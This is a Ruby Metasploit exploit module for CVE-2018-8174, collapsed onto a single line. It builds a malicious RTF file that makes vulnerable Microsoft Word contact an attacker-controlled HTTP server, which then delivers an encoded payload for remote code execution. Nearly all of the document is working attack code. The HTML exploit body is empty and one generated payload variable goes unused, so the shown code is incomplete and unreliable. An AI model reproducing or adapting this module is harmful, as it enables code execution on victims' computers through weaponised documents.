class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => "Microsoft Office CVE-2018-8174", 'Description' => %q{ This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. }, 'Author' => [ 'Random APT ?', # Vulnerability discovery and exploit '0x09AL', # Module developer ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', 'CVE-2018-8174'], ['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2018-8174-and-Forcing-Internet-Explorer-Exploits/'], ['URL', 'https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/'], ['URL', 'https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript'] ], 'Platform' => 'win', 'Targets' => [ [ 'Microsoft Office Word 32-bit', {} ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Late April 2018')) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']), OptString.new('URIPATH', [ true, 'The URI path to use', '/']) ]) end def build_ie_exploit encoded_payload = Rex::Text.to_unescape(payload.encoded) # build html content = <<-HTML
HTML content end def create_rtf_file template_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2018-8174.rtf") template_rtf = ::File.open(template_path, 'rb') data = template_rtf.read(template_rtf.stat.size) host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] scheme = datastore['SSL'] ? 'https' : 'http' url = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}" normal_url = Rex::Text.hexify(url) unicode_url = Rex::Text.hexify(url) unicode_url = "#{unicode_url[2..-1]}" # Replaces the \x with 00 to make it compatible. unicode_url.gsub!('\\x', "00") unicode_url.delete!("\n") # Strips the \x from the hex to make it comaptible with word normal_url.delete!("\n") normal_url.delete!("\\x") normal_url.delete!("\\") # Finds the padding size padding_size = (78 - normal_url.length) normal_url << "0" * padding_size padding_size = (154 - unicode_url.length) unicode_url << "0" * padding_size # Replaces the data data.gsub!('NORMAL_URL', normal_url) data.gsub!('UNICODE_URL', unicode_url) fail_with(Failure::BadConfig, "Url length exceeds 78 bytes ") if normal_url.length > 78 data end def on_request_uri(cli, req) print_status("Delivering Exploit") hta_payload = regenerate_payload(cli) send_response(cli, build_ie_exploit, 'Content-Type' => 'text/html') end def exploit file_create(create_rtf_file) super end end